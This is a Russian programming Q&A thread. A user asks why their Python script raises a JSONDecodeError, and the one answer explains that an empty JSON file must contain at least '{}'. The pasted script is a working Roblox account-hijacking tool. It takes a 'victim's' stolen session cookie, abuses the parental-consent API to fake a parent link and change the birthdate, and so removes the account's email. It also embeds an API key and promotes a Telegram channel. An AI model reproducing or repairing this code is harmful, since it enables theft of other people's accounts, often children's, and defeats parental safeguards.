Ошибка raise JSONDecodeError("Expecting value", s, err.value) from None

Написал обходное решение, но при выборе в меню цифры 1 вылазит ошибка

Traceback (most recent call last):
  File "C:\Users\kogan\Downloads\mail\main.py", line 462, in <module>
    main()
  File "C:\Users\kogan\Downloads\mail\main.py", line 450, in main
    add_account()
  File "C:\Users\kogan\Downloads\mail\main.py", line 58, in add_account
    accounts = json.load(f)
               ^^^^^^^^^^^^
  File "C:\Users\kogan\AppData\Local\Programs\Python\Python311\Lib\json\__init__.py", line 293, in load
    return loads(fp.read(),
           ^^^^^^^^^^^^^^^^
  File "C:\Users\kogan\AppData\Local\Programs\Python\Python311\Lib\json\__init__.py", line 346, in loads
    return _default_decoder.decode(s)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Users\kogan\AppData\Local\Programs\Python\Python311\Lib\json\decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Users\kogan\AppData\Local\Programs\Python\Python311\Lib\json\decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Сам код python:

from colorama import init, Fore, Style
import os
import json
import requests
import re
import time
import random
from datetime import datetime, timedelta
import sys

init()

ascii_art = """
██╗░░░██╗░█████╗░██╗░░██╗░█████╗░██████╗░██╗░░░░░██╗░░░██╗░█████╗░
██║░░░██║██╔══██╗██║░░██║██╔══██╗██╔══██╗██║░░░░░╚██╗░██╔╝██╔══██╗
╚██╗░██╔╝███████║███████║██║░░██║██████╦╝██║░░░░░░╚████╔╝░███████║
░╚████╔╝░██╔══██║██╔══██║██║░░██║██╔══██╗██║░░░░░░░╚██╔╝░░██╔══██║
░░╚██╔╝░░██║░░██║██║░░██║╚█████╔╝██████╦╝███████╗░░░██║░░░██║░░██║
░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░╚═════╝░╚══════╝░░░╚═╝░░░╚═╝░░╚═╝
"""

def clear_screen():
    os.system('cls' if os.name == 'nt' else 'clear')

def show_menu():
    clear_screen()
    print(Fore.RED + ascii_art + Style.RESET_ALL)
    print(Fore.RED + "- t.me/vahoblya" + Style.RESET_ALL)
    print("Меню:")
    print("1. Добавить аккаунт")
    print("2. Снести почту с аккаунта")
    print("0. Выход")

def get_roblox_username(cookies):
    try:
        headers = {"Cookie": f".ROBLOSECURITY={cookies}"}
        response = requests.get("https://www.roblox.com/my/settings/json", headers=headers)
        if response.status_code == 200:
            data = response.json()
            return data.get("Name", "Не удалось получить имя")
        else:
            return "Ошибка: неверные куки или доступ запрещен"
    except Exception as e:
        return f"Ошибка запроса: {str(e)}"

def get_xcsrf_token(session, cookie):
    url = "https://auth.roblox.com/v2/logout"
    headers = {"Cookie": f".ROBLOSECURITY={cookie}", "Content-Type": "application/json"}
    response = session.post(url, headers=headers)
    return response.headers.get("x-csrf-token") if response.status_code == 403 and "x-csrf-token" in response.headers else None

def add_account():
    clear_screen()
    file_path = "parent_account.json"
    
    if os.path.exists(file_path):
        with open(file_path, "r", encoding="utf-8") as f:
            accounts = json.load(f)
        
        if accounts:
            print("Существующий аккаунт:")
            username = accounts.get("username", "Неизвестно")
            print(f"1. {username}")
            print("2. Добавить новый аккаунт")
            choice = input("Выбери действие (1-2): ")

            if choice == "1":
                change_cookies = input("Изменить куки (Y/N): ").lower()
                if change_cookies == "y":
                    new_cookies = input("Введите новые Roblox куки: ")
                    accounts["cookies"] = new_cookies
                    accounts["username"] = get_roblox_username(new_cookies)
                
                change_email = input("Изменить firstmail почту (Y/N): ").lower()
                if change_email == "y":
                    new_email = input("Введите новую firstmail почту в формате логин:пароль (https://firstmail.ltd/en-US/shop): ")
                    if ":" not in new_email:
                        print(Fore.RED + "Ошибка: почта должна быть в формате логин:пароль" + Style.RESET_ALL)
                        input("Нажми Enter, чтобы вернуться в меню...")
                        return
                    login, password = new_email.split(":", 1)
                    accounts["email"] = {"login": login, "password": password}
                
                # Сохраняем изменения в файл
                with open(file_path, "w", encoding="utf-8") as f:
                    json.dump(accounts, f, indent=4)
                print(Fore.GREEN + "Аккаунт обновлен!" + Style.RESET_ALL)
                input("Нажми Enter, чтобы вернуться в меню...")
                return
            elif choice != "2":
                print(Fore.RED + "Неверный выбор." + Style.RESET_ALL)
                input("Нажми Enter, чтобы вернуться в меню...")
                return

    cookies = input("Введите Roblox куки: ")
    email = input("Введите firstmail почту в формате логин:пароль (https://firstmail.ltd/en-US/shop): ")
    
    if ":" not in email:
        print(Fore.RED + "Ошибка: почта должна быть в формате логин:пароль" + Style.RESET_ALL)
        input("Нажми Enter, чтобы вернуться в меню...")
        return
    
    login, password = email.split(":", 1)
    username = get_roblox_username(cookies)

    account_data = {
        "username": username,
        "cookies": cookies,
        "email": {
            "login": login,
            "password": password
        }
    }

    # Сохраняем новый аккаунт в файл
    with open(file_path, "w", encoding="utf-8") as f:
        json.dump(account_data, f, indent=4)
    
    print(Fore.GREEN + f"Аккаунт {username} успешно добавлен!" + Style.RESET_ALL)
    input("Нажми Enter, чтобы вернуться в меню...")

def get_user_id(session, cookie):
    url = "https://www.roblox.com/my/settings/json"
    headers = {"Cookie": f".ROBLOSECURITY={cookie}", "Accept": "application/json"}
    response = session.get(url, headers=headers)
    if response.status_code == 200:
        return response.json().get("UserId")
    return None

def send_parent_request(session, acookie, acsrf, auserid):
    url = "https://apis.roblox.com/child-requests-api/v1/send-request-to-new-parent"
    headers = {
        "Cookie": f".ROBLOSECURITY={acookie}",
        "x-csrf-token": acsrf,
        "Content-Type": "application/json"
    }
    payload = {
        "email": parent_email,
        "requestDetails": {}
    }
    response = session.post(url, headers=headers, json=payload)
    if response.status_code == 200:
        return True
    else:
        print(Fore.RED + f"Ошибка {response.status_code}: {response.text}" + Style.RESET_ALL)
        if response.status_code == 429 and "SenderFlooded" in response.text:
            print(Fore.RED + "Подождите ~1-2ч перед тем как снова попытаться снять почту с этого аккаунта." + Style.RESET_ALL)
        elif response.status_code == 400:
            try:
                error_data = response.json()
                if error_data.get("code") == "ReceiverFlooded":
                    print(Fore.RED + f"ReceiverFlooded: смените почту на аккаунте {parent_username}" + Style.RESET_ALL)
                elif error_data.get("code") == "EmailMismatch":
                    print(Fore.RED + f"EmailMismatch: смените почту на аккаунте {parent_username}" + Style.RESET_ALL)
            except json.JSONDecodeError:
                pass
        return False

def get_email_link():
    credentials = f"{parent_email}:{parent_password}"
    try:
        username, password = credentials.split(":", 1)
    except ValueError:
        print(Fore.RED + f"Неверный формат учетных данных. Ожидается логин:пароль" + Style.RESET_ALL)
        return None

    url = "https://api.firstmail.ltd/v1/market/get/message"
    headers = {
        "X-API-KEY": "ae4fb97f-2c63-4837-85c2-8f703797586e",
        "accept": "application/json"
    }
    params = {
        "username": username,
        "password": password
    }
    
    try:
        response = requests.get(url, headers=headers, params=params, timeout=10)
        if response.status_code == 200:
            data = response.json()
            if not data.get("has_message"):
                return None
            message = data.get("message", "")
            if not message:
                print(Fore.RED + "Поле сообщения пустое" + Style.RESET_ALL)
                return None
            link = extract_link_from_message(message)
            if link:
                return link
            else:
                print(Fore.RED + "Ссылка не найдена в сообщении" + Style.RESET_ALL)
                return None
        else:
            print(Fore.RED + "Ошибка API при получении письма" + Style.RESET_ALL)
            return None
    except requests.exceptions.RequestException as e:
        print(Fore.RED + f"Ошибка сети при запросе API: {str(e)}" + Style.RESET_ALL)
    except ValueError as e:
        print(Fore.RED + f"Ошибка разбора JSON ответа: {str(e)}" + Style.RESET_ALL)
    except Exception as e:
        print(Fore.RED + f"Неожиданная ошибка в get_email_link: {str(e)}" + Style.RESET_ALL)
    return None

def extract_link_from_message(message):
    match = re.search(r"https://www\.roblox\.com/parental-requests\?requestType=LinkToChild&sessionId=[^&]+&linkRequestId=[^&]+", message)
    return match.group(0) if match else None

def extract_request_id(link):
    match = re.search(r"linkRequestId=([a-f0-9-]+)", link)
    return match.group(1) if match else None

def get_parent_csrf(session, bcookie):
    bcsrf = get_xcsrf_token(session, bcookie)
    if not bcsrf:
        print(Fore.RED + "Не удалось получить bcsrf для родительского аккаунта" + Style.RESET_ALL)
        return None
    return bcsrf

def link_to_child(session, bcookie, bcsrf, request_id):
    url = f"https://apis.roblox.com/parental-controls-api/v1/verified-parental-consent/link-request/{request_id}"
    headers = {
        "Cookie": f".ROBLOSECURITY={bcookie}",
        "x-csrf-token": bcsrf,
        "Content-Type": "application/json"
    }
    payload = {"accept": True}
    response = session.post(url, headers=headers, json=payload)
    if response.status_code == 200 or (response.status_code == 403 and "ParentTooYoung" in response.text):
        return True
    else:
        print(Fore.RED + "Не удалось привязать родителя к ребенку" + Style.RESET_ALL)
        return False

def grant_consent(session, bcookie, bcsrf, auserid, new_birthdate):
    url = "https://apis.roblox.com/parental-controls-api/v1/parental-controls/grant-consent"
    headers = {
        "Cookie": f".ROBLOSECURITY={bcookie}",
        "x-csrf-token": bcsrf,
        "Content-Type": "application/json"
    }
    payload = {
        "childUserId": auserid,
        "consentType": "UpdateBirthdate",
        "details": {"newBirthdate": new_birthdate}
    }
    response = session.post(url, headers=headers, json=payload)
    if response.status_code == 200:
        return True
    else:
        print(Fore.RED + "Не удалось предоставить согласие на обновление даты рождения" + Style.RESET_ALL)
        return False

def remove_parent_link(session, bcookie, bcsrf, auserid):
    url = f"https://apis.roblox.com/parental-controls-api/v1/parental-controls/remove-link/{auserid}"
    headers = {
        "Cookie": f".ROBLOSECURITY={bcookie}",
        "x-csrf-token": bcsrf,
        "Content-Type": "application/json"
    }
    response = session.delete(url, headers=headers)
    if response.status_code == 200:
        return True
    else:
        print(Fore.RED + "Не удалось отвязать родителя" + Style.RESET_ALL)
        return False

def loading_animation(duration=3):
    animation = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]
    end_time = time.time() + duration
    i = 0
    while time.time() < end_time:
        sys.stdout.write(Fore.YELLOW + f"\rПодождите немного... {animation[i % len(animation)]}" + Style.RESET_ALL)
        sys.stdout.flush()
        time.sleep(0.1)
        i += 1
    print("\r" + " " * 30 + "\r", end="")  # Очистка строки

def perform_parent_link(session, acookie, bcookie, auserid, new_birthdate):
    acsrf = get_xcsrf_token(session, acookie)
    if not acsrf:
        print(Fore.RED + "Куки жертвы не валидны" + Style.RESET_ALL)
        return False
    
    if not send_parent_request(session, acookie, acsrf, auserid):
        return False
    
    for attempt in range(5):
        loading_animation(10)
        email_link = get_email_link()
        if email_link:
            break
        else:
            print(Fore.YELLOW + f"Попытка {attempt + 1}/5: Письмо не найдено в почтовом ящике" + Style.RESET_ALL)
            if attempt < 4:
                print(Fore.YELLOW + f"Ожидание 10 секунд перед следующей проверкой... ({attempt + 1}/5)" + Style.RESET_ALL)
                time.sleep(10)
            else:
                print(Fore.RED + "Письмо не было найдено, если такое произойдет ещё раз советуем сменить почту." + Style.RESET_ALL)
                return False

    request_id = extract_request_id(email_link)
    if not request_id:
        print(Fore.RED + "Не удалось извлечь RequestId из ссылки" + Style.RESET_ALL)
        return False

    bcsrf = get_parent_csrf(session, bcookie)
    if not bcsrf:
        return False

    if not link_to_child(session, bcookie, bcsrf, request_id):
        return False

    if not grant_consent(session, bcookie, bcsrf, auserid, new_birthdate):
        return False

    if not remove_parent_link(session, bcookie, bcsrf, auserid):
        return False
    
    return True

def delete_email():
    global parent_email, parent_password, parent_username
    clear_screen()
    victim_cookies = input("Введите куки жертвы: ")
    
    session = requests.Session()
    
    xcsrf_token = get_xcsrf_token(session, victim_cookies)
    if not xcsrf_token:
        print(Fore.RED + "Ошибка: не удалось получить X-CSRF токен. Возможно, куки неверные." + Style.RESET_ALL)
        input("Нажми Enter, чтобы вернуться в меню...")
        return
    
    url = "https://accountinformation.roblox.com/v1/birthdate"
    headers = {
        "Cookie": f".ROBLOSECURITY={victim_cookies}",
        "X-CSRF-TOKEN": xcsrf_token,
        "Accept": "application/json"
    }
    
    try:
        response = session.get(url, headers=headers)
        if response.status_code == 200:
            data = response.json()
            birthdate = datetime(data["birthYear"], data["birthMonth"], data["birthDay"])
            birthdate_str = f"{data['birthDay']}/{data['birthMonth']}/{data['birthYear']}"
            print(Fore.CYAN + f"Дата рождения жертвы: {birthdate_str}" + Style.RESET_ALL)
            
            # Используем UTC время вместо локального
            current_date = datetime.utcnow().replace(hour=0, minute=0, second=0, microsecond=0)
            tomorrow = current_date + timedelta(days=1)
            threshold_date = tomorrow.replace(year=tomorrow.year - 13)
            threshold_date_str = threshold_date.strftime("%d/%m/%Y")
            new_birthdate = threshold_date.strftime("%Y-%m-%d")
            
            first_date = datetime(2009, 1, 1)
            first_date_str = first_date.strftime("%d/%m/%Y")
            first_birthdate = first_date.strftime("%Y-%m-%d")
            
            thirteen_years_ago = current_date - timedelta(days=13*365)
            auserid = get_user_id(session, victim_cookies)
            if not auserid:
                print(Fore.RED + "Не удалось получить auserid для аккаунта жертвы" + Style.RESET_ALL)
                input("Нажми Enter, чтобы вернуться в меню...")
                return

            file_path = "parent_account.json"
            bcookie = None
            if os.path.exists(file_path):
                with open(file_path, "r", encoding="utf-8") as f:
                    accounts = json.load(f)
                if isinstance(accounts, list):
                    account = random.choice(accounts)
                    bcookie = account.get("cookies")
                    parent_email = account["email"]["login"]
                    parent_password = account["email"]["password"]
                    parent_username = account.get("username", "Неизвестно")
                else:
                    bcookie = accounts.get("cookies")
                    parent_email = accounts["email"]["login"]
                    parent_password = accounts["email"]["password"]
                    parent_username = accounts.get("username", "Неизвестно")
            
            if not bcookie:
                print(Fore.YELLOW + "Не найден bcookie в parent_account.json или файл отсутствует." + Style.RESET_ALL)
                bcookie = input("Введите куки родительского аккаунта: ")
                email_input = input("Введите почту родительского аккаунта в формате логин:пароль: ")
                if ":" not in email_input:
                    print(Fore.RED + "Ошибка: почта должна быть в формате логин:пароль" + Style.RESET_ALL)
                    input("Нажми Enter, чтобы вернуться в меню...")
                    return
                parent_email, parent_password = email_input.split(":", 1)
                parent_username = get_roblox_username(bcookie)
                # Сохраняем данные, если файл не существует
                account_data = {
                    "username": parent_username,
                    "cookies": bcookie,
                    "email": {
                        "login": parent_email,
                        "password": parent_password
                    }
                }
                with open(file_path, "w", encoding="utf-8") as f:
                    json.dump(account_data, f, indent=4)

            if birthdate <= thirteen_years_ago:
                print(Fore.CYAN + "Пользователь старше 13-ти лет" + Style.RESET_ALL)
                print(Fore.CYAN + f"Дата: {threshold_date_str}" + Style.RESET_ALL)
                if perform_parent_link(session, victim_cookies, bcookie, auserid, new_birthdate):
                    print(Fore.GREEN + "INFO - Успешно сняли почту с вашего аккаунта" + Style.RESET_ALL)
                else:
                    print(Fore.RED + "Не удалось завершить процесс привязки родителя для аккаунта +13" + Style.RESET_ALL)
                    time.sleep(5)
            else:
                print(Fore.CYAN + "Пользователь младше 13-ти лет" + Style.RESET_ALL)
                print(Fore.CYAN + f"Первая дата: {first_date_str}" + Style.RESET_ALL)
                print(Fore.CYAN + f"Вторая дата (1 день до 13 лет с сегодняшнего дня): {threshold_date_str}" + Style.RESET_ALL)
                
                print(Fore.CYAN + "\n=== Шаг 1: Установка даты рождения на 01/01/2009 ===" + Style.RESET_ALL)
                if not perform_parent_link(session, victim_cookies, bcookie, auserid, first_birthdate):
                    print(Fore.RED + "Не удалось завершить первый процесс привязки родителя для аккаунта -13" + Style.RESET_ALL)
                    time.sleep(5)
                    input("Нажми Enter, чтобы вернуться в меню...")
                    return
                
                print(Fore.YELLOW + "Ожидание 10 секунд перед вторым шагом..." + Style.RESET_ALL)
                loading_animation(10)
                
                print(Fore.CYAN + "\n=== Шаг 2: Установка даты рождения на 17/03/2012 ===" + Style.RESET_ALL)
                if perform_parent_link(session, victim_cookies, bcookie, auserid, new_birthdate):
                    print(Fore.GREEN + "INFO - Успешно сняли почту с вашего аккаунта" + Style.RESET_ALL)
                else:
                    print(Fore.RED + "Не удалось завершить второй процесс привязки родителя для аккаунта -13" + Style.RESET_ALL)
                    time.sleep(5)
        else:
            print(Fore.RED + "Ошибка при получении даты рождения жертвы" + Style.RESET_ALL)
            time.sleep(5)
    except Exception as e:
        print(Fore.RED + f"Неожиданная ошибка в delete_email: {str(e)}" + Style.RESET_ALL)
        time.sleep(5)
    
    input("Нажми Enter, чтобы вернуться в меню...")

def main():
    while True:
        show_menu()
        choice = input("Выбери пункт меню (0-2): ")
        
        if choice == "1":
            add_account()
        elif choice == "2":
            delete_email()
        elif choice == "0":
            clear_screen()
            print(Fore.RED + "До встречи! t.me/vahoblya" + Style.RESET_ALL)
            break
        else:
            print(Fore.RED + "Неверный выбор, попробуй снова." + Style.RESET_ALL)
            input("Нажми Enter, чтобы продолжить...")

if __name__ == "__main__":
    main()

Почитал, что может быть ошибкой, но говорят только об обьеме библиотеки json, помогите с кодом кто может, сам плохо понимаю, что мне исправить нужно


Ответы (1 шт):

Автор решения: CrazyElf

Пустой файл не является корректным json-ом.

import json
from io import StringIO

with StringIO('') as f:
    json.load(f)

Получаем ровно вашу ошибку.

...
JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Поместите туда хотя бы скобки {} тогда это будет пустой словарь. Судя по вашему коду, там ожидается именно словарь.

import json
from io import StringIO

with StringIO('{}') as f:
    json.load(f)

Такой JSON загружается без ошибок.

→ Ссылка